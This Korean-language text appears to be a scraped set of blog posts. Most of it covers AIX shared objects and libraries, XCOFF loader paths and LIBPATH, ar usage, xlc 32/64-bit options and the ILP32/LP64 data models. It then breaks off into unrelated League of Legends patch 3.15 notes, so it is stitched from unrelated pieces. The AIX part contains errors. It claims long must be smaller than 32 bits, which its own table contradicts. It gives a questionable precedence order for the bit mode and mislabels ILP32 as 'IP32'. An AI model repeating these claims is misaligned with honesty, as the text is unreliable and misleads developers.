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genkld명령은 이미 시스템 메모리에 올라간 공유 오브젝트를 보는데 사용한다.

다음의 genkld8결과에서 이 테스트 시스템의 시스템 전역 메모리(system global memory)에 libc.a 로부터 세 개의 공유 오브젝트 모듈이 올라와 있음을 알 수 있다.


$ genkld | grep 'libc.a'

d2023070     1df           /usr/lib/libc.a/dl.o

d012cd7a    1da          /usr/lib/libc.a/pse.o

d01cfbe0     1e6257     /usr/lib/libc.a/shr.o


위의 예제에서 libc.a의 shr.o만 필요하지만 나머지 두개의 파일은 다른 프로그램에서 필요하기 때문에 올라와 있다.

다른 UNIX OS는 공유 라이브러리 (동적 링킹 라이브러리 혹은 DLL-dynamic link library 라고도 한다)가 실제로 공유 오브젝트인 반면 AIX는 한 개의 라이브러리 안에 여러 개의 공유 오브젝트를 포함할 수 있는 점이 AIX와 다른 UNIX OS와의 큰 차이점이라고 할 수 있다.


공유 라이브러리와 공유 오브젝트라는 용어는 다른 UNIX OS에서는 같은 의미로 사용할 수 있지만 AIX에서는 서로 다른 의미가 된다.


공유 오브젝트

 공유 오브젝트는 XCOFF 헤더에 SHROBJ 플랙이 설정된 한 개의 오브젝트 파일이다. 

AIX에서 공유 오브젝트는 보통 name.o 형식의 이름을 갖는데 AIX에서는 일반적으로 공유 오브젝트에 대해 다른 UNIX에서 사용하는 .so 확장자를 사용하지 않는다. 이 이름은 컴파일러에서 디폴트로 만드는 파일이름의 확장자이다.


공유 라이브러리

 공유 라이브러리는 ar포맷으로 아카이브된 라이브러리 파일인 ar 명령으로 만든 파일을 말한다.

그 라이브러리 파일은 멤버로 하나 이상의 공유 오브젝트를 가진다. 그러나 아카이브 멤버로 공유 오브젝트 외에도 일반적인 비공유 오브젝트 파일도 있으며 이 파일은 링커에서 일반적인 방법으로 처리하게 된다. AIX에서 공유 라이브러리는 libname.a와 같은 형식의 이름이 된다.


링커는 파일이 올바른 오브젝트 파일인지 아닌지 알아보기 위해 파일의 매직넘버를 사용한다. 따라서 .o를 확장자로 하지 않는 파일을 공유 오브젝트로 사용할 수 있다.(물론 사용자가 헛갈릴 위험이 있다) 그러나 라이브러리는 반드시 libname.a과 같은 형식의 이름을 사용해야 하며 이렇게 하지 않으면 링커가 -l 옵션으로 지정한 라이브러리를 찾지 못한다.


AIX상에서 공유 오브젝트와 정적 오브젝트의 차이점에 대해서 알아보자.

AIX의 링킹/로딩 메커니즘에서는 공유 오브젝트와 정적 오브젝트를 사용하기 위해 AIX만의 파일이름형식을 사용하게 된다. 대부분의 UNIX OS에서 공유 오브젝트 파일은 “.so”확장자(shared object를 의미한다)를 사용하고 정적 오브젝트 파일은 “.o”확장자(object를 의미한다)를 사용한다.


그러나 AIX에서는 파일이 공유 오브젝트인지 정적 오브젝트인지에 관계없이 “.o”를 사용한다. 따라서 AIX에서는 단순히 확장자만 보고 이 파일이 공유 오브젝트 파일인지 정적 오브젝트 파일인지 구분할 수 없다. (AIX에서도 다른 UNIX OS처럼 파일확장자가 “so”인 공유 오브젝트를 지원하며 이 파일은 실시간 링킹에 사용된다.)


오브젝트 파일이 공유 오브젝트인지 정적 오브젝트인지 구분하려면 dump 명령을 사용해야 한다. dump 명령 뒤 Flags 줄에 SHROBJ 키워드가 나오는데 이 경우 이 오브젝트 파일은 공유 오브젝트이고 이 키워드가 안 나오면 정적 오브젝트이다.


$ dump -ov shr.o

shr.o:

***Object Module Header***

# Sections Symbol Ptr # Symbols Opt Hdr Len Flags

5 0x00251764 26925 72 0x3002

Flags=( EXEC DYNLOAD SHROBJ )

Timestamp = "Feb 03 08:59:14 2003"

Magic = 0x1df (32-bit XCOFF)


라이브러리의 아카이브 멤버가 공유 오브젝트인지 정적 오브젝트인지 알아보려면 dump 명령과 함께 -g 옵션(dump명령에서 -g 옵션을 사용하면 지정한 라이브러리에서 아카이브 멤버를 검사한다)을 사용해야 한다. 


예를 들어 예제 2-4에서 frexp.o 아카이브 멤버는 정적 오브젝트인 반면 /usr/lib/libc.a 의 shr.o는 공유 오브젝트이다.


$ dump -gov /usr/lib/libc.a

/usr/lib/libc.a[frexp.o]:

***Object Module Header***

# Sections Symbol Ptr # Symbols Opt Hdr Len Flags

3 0x0000030c 34 28 0x0000

Flags=( )

Timestamp = "Sep 15 16:12:35 2002"

Magic = 0x1df (32-bit XCOFF)


/usr/lib/libc.a[shr.o]:

***Object Module Header***

# Sections Symbol Ptr # Symbols Opt Hdr Len Flags

5 0x00250c0c 26913 72 0x3002

Flags=( EXEC DYNLOAD SHROBJ )

Timestamp = "Sep 19 00:14:43 2002"

Magic = 0x1df (32-bit XCOFF)



------------------------------------------------------------------------------------------------------------------


AIX에서는 링크할 때 심볼 해석을 하게 되며 프로그램 로드 시에 다시 심볼 해석을 하지 않는다. 

실행파일을 생성하면 동일한 경로 정보를 이용하여 의존관계가 있는 공유 오브젝트와 라이브러리의 아카이브 멤버를 참조할 수 있어야 한다. 

만약 이렇게 안되면 실행파일을 수행할 수 없다.


그러나 의존 관계가 있는 공유 오브젝트와 라이브러리의 아카이브 멤버가 항상 같은 디렉토리에 있어야 하는 것은 아니다. 

만약 오브젝트나 관련된 멤버에게 경로정보를 따로 주지 않으면, 시스템 로더는 -L 링커 옵션에서 지정한 몇 개의 디렉토리를 자동으로 찾게 되어 있다. 다음 LIBPATH 환경변수에서 지정한 디렉토리를 찾고 디폴트 라이브러리 경로인 /usr/lib, /lib 를 찾는다.

이렇게 정해진 방식에 의해 움직이므로 모듈을 로드할 때 시스템 로더의 작업이 좀더 쉬워지고 속도도 개선될 수 있다.


경로정보는 PATH 칼럼에서 Index 0(첫번째) 다음에 보이는데, 이 PATH 칼럼은 연관성 있는 모듈에 대해서 optional path component라고 부른다.

공유 오브젝트나 라이브러리를 만들 때 그리고 실행파일을 만들 때 optional path component 값이 없는 편이 좋다.

연관성 있는 모듈을 찾을 때 엉뚱한 파일을 찾을 위험성이 있기 때문이다.


$ dump -H a.out

a.out:

.

.

.

***Import File Strings***

INDEX     PATH                                 BASE         MEMBER

0         /usr/lpp/xlopt:/usr/lib:/lib

1         /tmp                                     libc.a             shr.o


$ cp /usr/lib/libc.a /tmp

$ ls -l /tmp/libc.a

-r-x------ 1 k5 k5 6793964 Apr 18 15:35 /tmp/libc.a

$ chmod a+r /tmp/libc.a

$ ls -l /tmp/libc.a

-r-xr--r-- 1 k5 k5 6793964 Apr 18 15:35 /tmp/libc.a

$ xlc helloworld.c /tmp/libc.a


$ ./a.out

Hello World

$ rm -i /tmp/libc.a

rm: Remove /tmp/libc.a? y

$ ./a.out

exec(): 0509-036 Cannot load program ./a.out because of the following errors:

0509-150 Dependent module /tmp/libc.a(shr.o) could not be loaded.

0509-022 Cannot load module /tmp/libc.a(shr.o).

0509-026 System error: A file or directory in the path name does not exist.


만약 위 예제의 소스를 다음과 같이 다시 컴파일하면


$ xlc helloworld.c

아래에서는 libc.a에 대해 XCOFF 헤더에서 아무 PATH 정보도 가지지 않는다.

(링커가 호출하기 전 컴파일러 드라이버가 이미 디폴트로 -lc 를 추가한다.)

***Import File Strings***

INDEX     PATH                                 BASE         MEMBER

0         /usr/lpp/xlopt:/usr/lib:/lib

1                                                      libc.a             shr.o


libc.a 가 PATH에 아무 정보도 포함하고 있지 않기 때문에, 시스템 로더는 우선 실행파일의 XCOFF헤더첫번째 로더헤더 섹션 (Index 0)에 기록된 대로 /usr/lpp/xlopt:/usr/lib/:/lib 디렉토리에서 라이브러리를 찾는다.



따라서 프로그램에서 라이브러리를 참조하려고 한다면 직접 라이브러리 이름을 적어주는 것보다 링커 옵션인 -L과 -l 을 쓰는 편이 더 좋다.

예를 들어 /project/test/lib 의 라이브러리 libabc.a를 사용하려면 아래처럼 하면 된다.


$ xlc -o a.out main.c -labc -L/project/test/lib

링커는 참조할 공유 오브젝트나 라이브러리를 찾기 위해 여러 경로를 검색하게 되는데


/project/test/lib 디렉토리를 디폴트 라이브러리 디렉토리보다 더 우선 순위에 놓는다.

 이 경우 실행파일의 XCOFF헤더 중 로더 헤더 섹션의 첫번째 엔트리(Index 0)에 디렉토리 /project/test/lib 가 들어간다. 

공유 오브젝트와 라이브러리는 실행파일의 XCOFF 로더 헤더섹션에 다른 선택적 경로정보(optional path component)를 가지고 있으면 안 된다.


$ dump -H a.out

.

.

.

***Import File Strings***

INDEX     PATH                                                             BASE         MEMBER

0        /project/test/lib:/usr/lpp/xlopt:/usr/lib:/lib

1                                                                                  libc.a             shr.o


링커는 입력으로 두 가지 종류의 파일(오브젝트 파일과 라이브러리)을 받을 수 있다.

이 두 가지 파일은 링커명령으로 지정할 수 있으며 아래처럼 명령행에서 직접 사용할 수 있다.


1) 오브젝트 파일을 절대경로까지 함께 지정한다. 

 $ xlc -o a.out main.c /prod/obj/shr1.o

2) 오브젝트 파일을 상대경로로 지정한다.

xlc -o a.out main.c ../../prod/obj/shr1.o

3) 현제 디렉토리에 오브젝트 파일이 있다면 파일이름만 지정한다.  

$ ls main.c shr.o main.c shr.o 

$ xlc -o a.out main.c shr1.o


마지막 경우만 제외하고, 생성된 실행파일은 의존하는 공유 오브젝트가 있을 경우 공유 오브젝트 shr.o를 검색하는 추가탐색경로를 

XCOFF헤더에 두게 된다.


라이브러리를 절대경로까지 함께 지정한다. 

xlc -o a.out main.c /prod/lib/libabc.a

라이브러리를 상대경로로 지정한다. 

xlc -o a.out main.c ../../prod/lib/libabc.a

현재 디렉토리에 라이브러리 파일이 있다면 파일 이름만 지정한다.

$ ls 

main.c libabc.a libabc.a main.c

$ xlc -o a.out main.c libabc.a

-L이나 -l 옵션으로 라이브러리가 설치되어 있는 디렉토리를 지정한다. 

xlc -o a.out main.c -L/prod/lib -labc


마지막 두 경우를 제외하고, 생성된 실행파일은 의존하는 공유 라이브러리가 있을 경우 공유 라이브러리 libabc.a를 검색하는 추가탐색경로를 XCOFF헤더에 두게 된다. 링커옵션 -bnoipath는 결과 모듈에 파일경로 이름이 포함되지 않도록 한다. 디폴트 옵션은 -bipath이며, 파일경로에 관한 정보를 포함한다.


실행파일이 공유 오브젝트를 참조하거나 공유 아카이브 멤버를 포함하는 라이브러리를 참조할 때, 시스템 로더는 오브젝트와 아카이브 멤버를 찾기 위해 LIBPATH 환경변수에서 지정한 디렉토리를 검색한다. 링커는 공유 오브젝트 파일과 라이브러리를 찾기 위해 LIBPATH 값을 이용하지 않는다.



LIBPATH값이 정의되어 있다면, 시스템 로더는 모듈을 로드할 때 다음 과정을 따른다.

1. 실행파일의 XCOFF헤더의 첫번째(Index 0) 로더 헤더 섹션에 저장되어 있는 PATH정보 바로 앞에 LIBPATH에 정의되어 있는 텍스트 정보를 추가함

2. 1번에서 만들어진 디렉토리 순서에 따라 시스템 로더는 공유 오브젝트와 라이브러리를 찾게 된다.

root가 아닌 사용자가 setuid, setgid가 설정된 실행파일을 수행하면 실행파일의 헤더섹션에 기록되어 있는 디렉토리만 검색하고 LIBPATH값에 저장된 디렉토리 값은 무시한다. LIBPATH값을 지정해줘도 역시 이 값을 무시한다.


예를 들어 LIBPATH 환경변수를 다음처럼 정의한 다음 앞에 나왔던 프로그램을 수행해보자.


LIBPATH=/project/build/lib

이때 시스템 로더는 공유 오브젝트와 라이브러리를 다음과 같은 순서로 찾는다.

1. /project/build/lib

2. /project/test/lib

3. /usr/lpp/xlopt

4. /usr/lib

5. /lib


공유 오브젝트와 라이브러리는 XCOFF 로더 헤더 섹션에 LIBPATH 환경변수에서 지정한 추가 경로값 정보를 가지고 있으면 안 된다.


예를 들어 다음 상황을 가정해보자.

실행파일 a.out 을 만들기 위해 main.o와 공유 오브젝트 shr.o를 링크 시킨다.

shr.o와 main.o는 모두 현제 디렉토리에 있다.


이제 실행파일을 만들기 위해 shr.o 파일이름을 다음 두 가지 방법으로 지정해줄 수 있다.

1. xlc -o a.out main.o shr.o

2. xlc -o a.out main.o ./shr.o


첫번째 방법으로 만든 실행파일은 예제 2-7과 같이 shr.o에 대한 로더정보를 가지게 된다. 이 경우, 시스템 로더는 /usr/lpp/xlopt, /usr/lib, /lib 디렉토리에서 shr.o 파일을 찾는다. 만약 shr.o 파일이 이 세 디렉토리중 한 군데에라도 들어있다면 검색을 멈추고 LIBPATH 까지 가지 않는다. 만약 shr.o가 이 세 디렉토리외에 다른 디렉토리에 들어있다면, LIBPATH에 그 디렉토리값을 넣어줘야 한다.


예를 들어 shr.o가 현재 디렉토리에 있다면, LIBPATH 환경변수를 다음처럼 바꾼 다음 명령을 수행하자.

$ export LIBPATH=$PWD ;./a.out


만약 shr.o을 /project/lib 디렉토리로 옮기려 하면, 다음과 같은 명령을 수행하면 된다.

$ export LIBPATH=/project/lib ;./a.out


두번째 방법으로 생성한 실행 파일이라면, dump -H 의 결과가 제일 마지막 한줄이 달라진다.

***Import File Strings***

INDEX         PATH                                 BASE             MEMBER

0             /usr/lpp/xlopt:/usr/lib:/lib

1                                                          libc.a               shr.o

2 .                                                        shr.o


PATH 컬럼의 . 는 shr.o의 추가경로정보이며 앞의 경우와 큰 차이가 있다. 두 번째 방법으로 생성한 실행파일을 수행하면, 시스템 로더는 shr.o를 찾기 위해 LIBPATH도 참조하지 않고 첫번째(Index 0) 로더 헤더 섹션(이 예제에서는 /usr/lpp/xlopt:/usr/lib:/lib 디렉토리)도 찾지 않는다. 따라서 이 실행파일을 수행할 때는 현재 디렉토리에 shr.o가 항상 같이 있어야 한다.



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실행파일을 수행할 때 시스템 로더가 공유 오브젝트를 찾지 못하면, 다음과 비슷한 에러메시지가 나올 것이다.


exec(): 0509-036 Cannot load program ex1 because of the following errors:

0509-022 Cannot load library libone.so.

0509-026 System error: A file or directory in the path name does not exist.


찾지 못한 오브젝트는 0509-022 에러메시지 부분에 나와 있다. find 명령을 사용해서 공유 오브젝트를 찾아보자. 

공유 오브젝트를 찾으면, 그 오브젝트가 위치하는 디렉토리를 LIBPATH 변수에 추가한 다음 어플리케이션을 다시 수행한다. 

또 그 오브젝트나 라이브러리가 읽기가능(read permission)인지 살펴보자.


시스템 로더가 지정한 공유 오브젝트는 찾았지만, 심볼을 해석할 수 없을 때에도 비슷한 에러 메시지가 보인다. 실행파일과 호환되지 않는 버전의 공유 오브젝트를 사용하면 이런 경우가 발생할 수 있다. 에러메시지는 다음과 비슷하다.


exec(): 0509-036 Cannot load program ./example because of the following errors:

0509-023 Symbol func1 in ex1 is not defined.

0509-026 System error: Cannot run a file that does not have a valid format.


해석하지 못한 심볼은 0509-023 메시지에서 알 수 있다. 이 심볼 이름을 우선 적어놓은 다음(여기에서는 func1) dump -Tv 명령을 사용하여 실행파일에서는 어느 공유 오브젝트에 이 심볼이 정의되어 있는 것으로 알고 있는지 알아보자.


# dump -Tv example | grep func1

[4] 0x00000000 undef IMP DS EXTref libone.a(shr1.o) func1


이 경우 실행파일은 func1 심볼이 공유 오브젝트 shr1.o에 있으며 shr1.o 파일은 libone.a 의 아카이브 멤버라고 알고 있다. 

이러한 정보를 이용하여 문제해결에 도움을 줄 수 있다.

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우선 기본적으로 유닉스에서 정적 라이브러리를 만드는 방법은 간단하다.

ar 를 사용해서 생성하는데 이는 AIX 뿐만 아니라 모든 유닉스/리눅스가 동일할 것이다. 

단 ar 옵션의 차이는 있다.


아래와 같은 함수가 포함된 3개의 파일을 정적 라이브러리로 만들어서 실제 사용하는 부분까지 확인해보도록 하자.


파일 명 : f1.c

-------------------------------------------------------

#include<stdio.h>

int funcreturnzero()

{

return 0;

}

-------------------------------------------------------


파일 명 : f2.c

-------------------------------------------------------

#include<stdio.h>

void funcnewline()

{

printf("\n");

}

-------------------------------------------------------


파일 명 : f3.c

-------------------------------------------------------

#include<stdio.h>

int funcreturnone()

{

return 1;

}

-------------------------------------------------------


1) c 파일 오브젝트 파일로 컴파일

$ xlc -c f1.c f2.c f3.c 

$ ls

f1.o, f2.o, f3.o 


2) libtest.a 라이브러리로 세 개의 파일을 아카이브

$ ar -vq libtest.a f1.o f2.o f3.o

ar: 아카이브 파일 libtest.a을(를) 작성합니다.

q - f1.o

q - f2.o

q - f3.o

$ ls

f1.o, f2.o, f3.o libtest.a


3) 아카이브 내부 오브젝트 파일을 보려면 -t 옵션을 주면 되며 -v 옵션을 주면 상세 옵션이 추가적으로 표시된다.

$ ar -t libtest.a

f1.o

f2.o

f3.o

$ ar -v -t libtest.a

rw-r--r--   202/201      956  1월  9일 15:42 2014 f1.o

rw-r--r--   202/201     1125  1월  9일 15:42 2014 f2.o

rw-r--r--   202/201      953  1월  9일 15:42 2014 f3.o


만약 기존의 libtest.a 라이브러리가 없었다면 위 명령은 libtest.a 라이브러리를 새로 만들고 여기에 f1.o, f2.o, f3.o 오브젝트의 복사본을 넣는다. 

그러나 기존의 libtest.a 라이브러리가 이미 있었다면 이 명령은 라이브러리 내에 함수 정의나 변수가 겹치는지 검사하지 않은 채로 기존의 라이브러리 뒤에 오브젝트 파일을 추가한다. -v 옵션은 verbose 옵션이며 ar 명령이 진행되는 상태를 보여준다.


4) 아카이브에 새 오브젝트를 추가하러나 기존 멤버를 바꾸려면 -r 옵션을 사용하면 된다.

$ ar -v -r libtest.a f1.o f4.o


5) 바뀐 멤버를 갱신하려면 -r -u 옵션을 추가.

$ ar -v -r -u libtest.a f2.o 


6) 아카이브 내부 멤버 오브젝트를 추출하려면 -x 옵션.

$ ar -v -x libtest.a f1.o f3.o


7) 아카이브 내부 멤버 오브젝트를 제거하려면 -d 옵션.

$ ar -v -d libtest.a f2.o


단 해당 부분은 모두 정적 오브젝트에 해당한다. 
















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해당 부분은 AIX 전용 컴파일러인 xlc와 xlc의 컴파일 옵션을 사용하여 컴파일 하는 방식에 대해 소개합니다.


정적/동적 라이브러리를 생성하기 전 오브젝트(.o) 파일을 먼저 생성해야 한다.

해당 오브젝트 파일을 생성할 때 해당 오브젝트가 32비트/64비트인지 결정해야 하는데 시스템에 기본적으로 설정되어 있는 OBJECT_MODE에 따라 컴파일 옵션을 입력하지 않았을 때 기본 적용되는 비트 숫자가 다르다. 만약 명시적으로 컴파일 비트 숫자를 기입하려면 아래를 참고.


-q64 : 64비트 컴파일 옵션

-q32 : 32비트 컴파일 옵션

-qarch : 64비트 서브옵션 지원


만약 일관성 없이 해당 부분이 미지정 된다면 다음의 우선순위로 비트가 결정된다.


1. OBJECT_MODE 환경변수

2. 환경설정 파일

3. 명령행 옵션


-qarch 옵션과 함께 사용할 때 이 옵션은 목표하는 아키텍쳐 용으로 기계어와 모드를 결정하게 되는데, -q32, -q64옵션은 -qarch 옵션보다 우선순위가 높다. 그리고 한 줄에 -q32와 -q64 옵션을 모두 써주면 최종적으로 써준 옵션에 따라 모드가 결정된다. -qarch=com 으로 하면 앞으로의 호환성을 위해 좀더 일반적인 기계어를 사용하고 이외에는 특정 아키텍쳐에 많이 의존하게 된다.


64bit 모드에서 -qarch=com 은 -qarch=ppc 와 동일하게 취급된다.


컴파일할 때마다 매번 모드를 일일이 지정해줘야 한다면 매우 귀찮은 작업이 될 것이다.

(예를 들어 링킹 단계에서 일일이 32bit와 64bit를 구분해줘야 한다고 해보자) 

만약 개발 중 오직 한가지 모드로만 컴파일한다면 OBJECT_MODE 환경변수를 디폴트 모드로 바꿔주면 된다. 

OBJECT_MODE 환경변수에 대입할 수 있는 값은 다음과 같다.


(unset) 32bit 오브젝트를 생성/사용한다.

32 32bit 오브젝트를 생성/사용한다.

64 64bit 오브젝트를 생성/사용한다.

32_64 32bit/64bit 오브젝트를 모두 허용한다.


컴파일러, 링커에서는 OBJECT_MODE=32_64 를 허용하지 않는다. 환경변수를 이와 같이 설정하면 다음과 같은 에러가 발생한다.

1501-254 OBJECT_MODE=32_64 is not a valid setting for the compiler.


OBJECT_MODE 환경변수를 사용하면 컴파일러나 링커뿐만 아니라 개발과정 중 필요한 다른 어플리케이션도 이 변수를 참고하는 경우가 있으므로 편리하게 사용할 수 있다.


단 디폴트 모드를 결정하기 위해 OBJECT_MODE를 사용하고 있는 것을 일반 사용자가 모르고 있다면 심각한 문제가 발생할 수 있다. 

예를 들어 OBJECT_MODE가 64bit로 설정되어 있을 때 사용자가 64bit로 설계되지 않은 프로그램을 컴파일한다면 자동으로 64bit 코드가 생긴다. 

따라서 컴파일하기 전 사용자는 반드시 OBJECT_MODE를 검사해야 하고 자기가 의도한 모드로 설정되어 있는지 확인해야 한다.


링커 ld는 디폴트로 -b32 옵션을 사용하며 32bit 링킹을 지원하고, -b64 옵션을 사용하면 64bit 링킹을 지원할 수 있다. 

컴파일러 드라이버는 기본적으로 -q32나 -q64 옵션을 보고 링킹 옵션을 결정하므로 특별히 링커 옵션을 따로 정해줄 필요는 없다.


다음 명령어는 오브젝트 파일을 다룰 때 사용 하며 디폴트로 오브젝트 파일을 32bit XCOFF(eXtended Common Object File Format)로 가정한다.


ar - 링커에서 사용하는 인덱스 처리된 라이브러리를 관리한다.

dump - 오브젝트 파일에서 선택한 영역을 덤프한다.

lorder - 오브젝트 라이브러리에서 멤버 파일의 가장 적당한 순서를 찾는다.

nm - 오브젝트 파일, 실행 파일, 오브젝트 파일 라이브러리에서 심볼에 대한 정보를 보여준다.

ranlib - 아카이브 라이브러리를 랜덤 라이브러리로 변환한다.

size - XCOFF 오브젝트 파일의 섹션 크기를 보여준다.

strip - 바인더와 심볼릭 디버그 프로그램에서 사용하는 정보를 제거해서 XCOFF 오브젝트 파일의 크기를 줄인다.


64bit XCOFF 오브젝트 포맷을 지원하기 위해 위 명령어에는 -X 옵션이 추가되었다. 

-X 옵션은 명령어가 검사할 오브젝트 파일의 타입을 지정하며 다음 값을 지정할 수 있다.


32 32bit 오브젝트 파일만을 처리한다.

64 64bit 오브젝트 파일만을 처리한다.


32_64 32bit / 64bit 오브젝트 파일을 모두 처리한다.

단 위 명령어는 모두 OBJECT_MODE 환경변수를 참고한다. 그러나 -X 옵션으로 지정한 값이 더 우선순위가 높다.

64bit 어플리케이션을 개발하기 전에 우선 그 어플리케이션에서 사용할 라이브러리도 역시 64bit인지 살펴보아야 한다. AIX에서 제공하는 대부분의 C/C++ 라이브러리는 하이브리드 모드 아카이브(32bit, 64bit 오브젝트가 모두 들어있다)지만 써드파티 제품인 경우에는 해당되지 않을 수 있다.


해당 파일이 몇 비트 오브젝트인지 확인하기 위해서는 file objecname.o 를 사용하면 확인할 수 있다.

64비트의 경우 출력부에 64-bit가 명시된다.


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출처 : Developing_C_C++_Application_on_AIX_AIX_DIY(SE)


AIX에서는 2가지의 프로그래밍 모델을 제공한다.

- ILP32

- LP64


ILP32는 integer/long/pointer가 32bit임을 의미하며 AIX의 32bit 프로그래밍 환경을 사용하게 된다.

이는 32bit 주소 공간을 사용하는 것을 의미하며 이론적으로 4GB 까지 메모리 제한이 있다.


LP64는 long/pointer가 64bit임을 의미하며 AIX의 64bit 프로그래밍 환경을 사용하게 된다. 64bit 주소공간을 사용하게 되므로 참조할 수 있는 메모리는 4GB를 넘어가게 된다. 일반적으로 데이터 타입 크기와 얼라인먼트 차이를 제외하고, LP64는 ILP32모델 프로그래밍 모델을 지원하며 널리 사용되는 int 데이터 타입에 대해서는 소급하여 호환성을 유지하게 된다.


C/C++ 표준에 의하면 int, short는 적어도 16bit여야 하며 long은 적어도 int와 같거나 그 이상의 크기여야 하고 32bit보다는 작아야 한다. 이 표준은 LP64모델에도 적용된다.


sizeof(char) ≤ sizeof(short) ≤ sizeof(int) ≤ sizeof(long)


LP64 데이터 모델은 대부분의 주요 벤더의 UNIX기반 시스템에서 지원되는 사실상의 표준이다. 따라서 LP64 모델을 따르는 어플리케이션은 다른 벤더로 포팅하는 작업이 매우 쉽다.


다음 테이블 2-1은 AIX의 ILP32, LP64 모델에서 기본 C/C++ 데이터 타입에 해당하는 크기를 보여주고 있다. (단위 비트)



 데이터 타입

 IP32 

 LP64 

 char

 8

 8 

 short

 16 

 16

 int

 32 

 32

 long

 32 

 64

 long long

 64

 64

 pointer

 32 

 64 

 float

 32

 32

 double

 64 

 64

 long double 

 64/128 

 64/128


* long double의 크기는 -qlongdouble옵션이나 cc128, cc128_r 등 컴파일러 드라이버 이름에 128이 붙었는지의 여부로 결정된다.

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출처 : Developing_C_C++_Application_on_AIX_AIX_DIY(SE)


64bit의 장점


 64bit로 개발하는 주요한 원인은 더 새롭고 빠른 64bit H/W1와 OS2의 성능을 이용할 수 있으며, 

복잡하고 메모리를 많이 이용하는 어플리케이션(데이터베이스, 과학계산 용 어플리케이션)에는 64bit가 유리하기 때문이다.

다음은 64bit환경에서 제공할 수 있는 장점이다.


- 64bit 어드레싱을 이용하므로 어플리케이션이 사용할 수 있는 주소공간은 4GB 이상이 된다.

- 가상주소공간이 커지므로 프로세스 데이터 공간도 커진다.

- 데이터 구조와 실행파일이 더 커진다.

- 표준 시스템 라이브러리 함수를 이용하여 더 큰 파일을 지원할 수 있다.

- 물리적 메모리양도 늘어나므로 시스템의 파일 캐시 크기도 늘어난다.

- 기계어 상에서 64bit 데이터를 사용할 수 있기 때문에 수학연산을 좀더 효과적으로 할 수 있으며 레지스터를 전체에 걸쳐 효과적으로 사용할수 있다.

- time_t, dev_t 등 시스템에서 사용하는 데이터 타입의 크기가 더 커진다.

- 메모리 공간이 커지므로 데이터를 디스크보다 메모리에 둘 수 있는 가능성이 높아져 I/O중심의 어플리케이션의 경우 성능이 급격히 개선될 수 있다.











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들어가며

소환사 여러분,

이번 프리시즌의 첫 정규 패치인 3.15 패치를 공개합니다. 다행히 프리시즌 변경 사항이 대체로 순조롭게 적용되고 있으니 이번 패치에서 많은 부분을 새로 변경할 필요는 없을 것 같아 보입니다. 대신, 주로 게임의 밸런스를 해치는 여러 작은 문제들을 해결하기 위해 노력했습니다.

늘 그래왔듯 저희는 앞으로도 게임 상황, 특히 서포터 관련 사항을 주의 깊게 지켜보며 플레이어 여러분께서 프리시즌을 즐기실 수 있도록 최선을 다할 것입니다. 그럼 이번 패치 변경 사항을 살펴볼까요?


빠른 대전 찾기

3.13 패치에서, 패배 전적이 기록되지 않는 보상 모드를 좀 더 유연하게 적용하여 서버 장애 등의 문제에 대응할 수 있도록 시스템을 변경한 바 있습니다. 그러나 기록되지 않은 전적이 패배로 표시되는 버그가 있었습니다. 보상 모드는 현재 저희 관리자가 수동으로 적용하고 있으며 앞으로도 계속해서 개선해 나갈 예정이라는 점 알려 드립니다. 불편을 끼쳐드린 점 사과드립니다.

  • 게임 후 로비 화면과 대전 기록에서 기록되지 않은 전적이 패배로 표시되던 버그를 수정했습니다. 실제로는 기록되지 않았지만 대전 기록에서 패배로 표시되던 게임이 이제 올바르게 '기록되지 않는 전적'으로 표시됩니다.

일반적으로 빠른 대전 찾기 시스템은 게임을 찾는데 걸리는 시간이 길어질수록 점점 더 넓은 실력 범위에서 대전 상대를 찾게 됩니다. 그런데 오랫동안 대기열에서 기다린 플레이어들의 탐색 범위가 너무 넓어져서, 다른 플레이어들이 빠른 대전 찾기를 실행하자마자 실력이 맞지 않는데도 게임 상대로 지정되는 버그가 있었습니다. 사실 저희 시스템 상 매칭이 대전 상대를 빠르게 찾았다는 것은 실력 균형이 적절하게 맞았다는 것을 의미해야 합니다. 그러나 가끔 (탐색 범위가 너무 넓어져) 실력이 대등하지 않은 상대와 게임을 하게 되는 경우가 있었습니다. 이번에 이 버그를 수정했습니다.

  • 빠른 대전 찾기 대기열에서 플레이어가 아주 오랫동안 대기했을 때 실력이 대등하지 않은 상대를 찾아주던 버그를 수정했습니다.

▲Top


일반

공격 속도 증가 효과가 있는 챔피언은 그 효과를 더 빨리 체감할 수 있게 됩니다.

  • 일시적인 공격 속도 증가 효과는 이제 첫 공격 이후가 아니라 곧바로 적용됩니다.

  • 피해량 증폭 스킬은 이제 고정 피해에는 적용되지 않습니다.
    • 영향 받는 스킬
      • 뽀삐 (외교관 면책 특권)
      • 스웨인 (고통)
      • 탈론 (목 긋기)

▲Top


챔피언

야스오

용서받지 못한 자 야스오가 정의의 전장에 합류했습니다.


람머스

요약: 따끔한 도발의 지속시간을 고레벨 구간에서 줄이고 따끔한 도발과 지진의 마나 소모량을 낮추었습니다.

피들스틱의 공포와 마찬가지로 따끔한 도발은 지속시간이 지나치게 길었습니다. (어떤 사람들은 영원히 계속되는 것 같다고도 했지요.) 특히 람머스가 게임 초반에 성공적으로 성장했을 때 더욱 무시무시한 모습을 보였습니다. 단지 따끔한 도발의 지속시간만 줄이는 데 그치지 않고 마나 소모량을 약간 줄여 게임 초반에 어려움을 겪더라도 만회할 수 있도록 했습니다.

W - 몸 말아 웅크리기

  • 이제 효과를 취소할 수 없습니다. 대신 시전하자마자 재사용 대기시간이 시작됩니다. (원래 효과가 취소돼도 재사용 대기시간이 줄어들지는 않았기 때문에 몸 말아 웅크리기의 총 재사용 대기시간은 변동 없습니다.)

E - 따끔한 도발

  • 고레벨 구간에서 지속시간을 줄여 1.25/1.50/1.75/2.00/2.25초로 변경했습니다. (기존 1/1.5/2/2.5/3초)
  • 마나 소모량을 전 레벨에서 50으로 변경했습니다. (기존 50/60/70/80/90)

R - 지진

  • 마나 소모량을 전 레벨에서 100으로 낮추었습니다. (기존 전 레벨에서 120)

루시안

요약: 꿰뚫는 빛의 기본 피해를 낮추고 시전 사거리를 줄였습니다.

루시안의 공격로 장악력을 조금 약화시키려 합니다. 특히 (꿰뚫는 빛의 공격력 계수가 높다는 점에서) 초기에 공격력 아이템을 구매하는 경우 지나치게 강력했습니다. 루시안은 꿰뚫는 빛의 긴 사거리를 이용해 기본 공격 사거리 밖에서 적을 공격한 후 기본 지속 효과를 활용할 수 있었으므로 단순히 피해량만 줄이기보다는 꿰뚫는 빛의 사거리도 같이 줄이기로 했습니다.

Q - 꿰뚫는 빛

  • 기본 피해가 80/110/140/170/200로 줄었습니다. (기존 80/120/160/200/240)
